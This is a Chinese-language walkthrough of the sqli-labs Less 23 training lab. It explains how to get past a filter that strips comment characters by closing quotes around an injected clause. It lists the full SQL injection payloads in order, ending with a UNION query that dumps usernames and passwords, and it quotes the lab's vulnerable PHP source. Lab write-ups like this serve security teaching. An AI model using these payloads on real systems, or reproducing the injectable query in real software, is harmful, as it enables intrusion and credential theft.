• sqli-labs 通关指南:Less 23


    Less 23 的注入流程和 Less 1 ~ 4 一致,但是 Less 23 对注释符进行了过滤。我们得考虑用其他方式闭合引号,而不是忽略后续的代码。


    GET-Error based-strip comments (基于错误的过滤注释符的 GET 型注入)

    判断注入类型

    注入正常的 id,网页回显 id 对应的 username 和 password。

    ?id=1
    


    注入一个单引号闭合,根据回显的报错信息这里就是用单引号闭合的字符型注入。

    ?id=1'
    


    构造恒真语句测试,发现网页回显的还是报错,根据错误信息发现 “--+” 被过滤了。

    ?id=1' OR 1 = 1--+
    


    尝试使用 “#” 进行注释,发现也被过滤了。

    ?id=1' OR 1 = 1#
    


    过滤了注释符并不能影响我们的注入,可以使用两个单引号分别闭合两侧的 Sql 查询语句,同时需要使用 OR 运算符分割成 3 个子句。

    ?id=1' OR 1 = 1 OR '
    

    获取数据库信息

    分别闭合前后的单引号可以绕过对注释符的过滤,Sql 注入的流程和 Less 1 一致。判断哪些列是我们能用的,令 id 参数的查询不到结果,使用 UNION 进行组合查询。网页回显了数字 2 和 3,说明第 2 列和第 3 列是我们可用的。

    ?id=99' UNION SELECT 1,2,3 '
    


    爆数据库名。

    ?id=99' UNION SELECT 1,database(),3 '
    


    爆表名。

    ?id=99' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema='security' '
    


    爆 users 表的字段。

    ?id=99' union select 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_schema='security' and table_name='users' '
    

    获取目标信息

    构造出 payload 如下,注意这里不能直接用单引号闭合,可以使用 WHERE 构造个恒真条件闭合。

    ?id=99' UNION SELECT 1,group_concat(concat_ws(':',username,password)),3 FROM users WHERE '1' = '1
    

    Sql 查询语句

    可以明显看出,源码使用了正则表达式过滤了所有注释符。

    $id=$_GET['id'];
    
    //filter the comments out so as to comments should not work
    $reg = "/#/";
    $reg1 = "/--/";
    $replace = "";
    $id = preg_replace($reg, $replace, $id);
    $id = preg_replace($reg1, $replace, $id);
    
    $sql = "SELECT * FROM users WHERE id='$id' LIMIT 0,1";
    $result = mysql_query($sql);
    $row = mysql_fetch_array($result);
    
  • 相关阅读:
    web.xml中监听器如何顺序加载
    spring配置文件中util:properties和context:property-placeholder
    jquery实现上下浮动
    索引-mysql索引创建、查看、删除及使用示例
    MD5加密
    怎么去除innerHTML获得内容中的标签?
    数据库优化常用的几种小技巧
    数据库表的连接(Left join , Right Join, Inner Join)用法详解
    HTMl5的sessionStorage和localStorage
    json数据字典,以及数据在下拉框中显示
  • 原文地址:https://www.cnblogs.com/linfangnan/p/13855760.html
Copyright © 2020-2023  润新知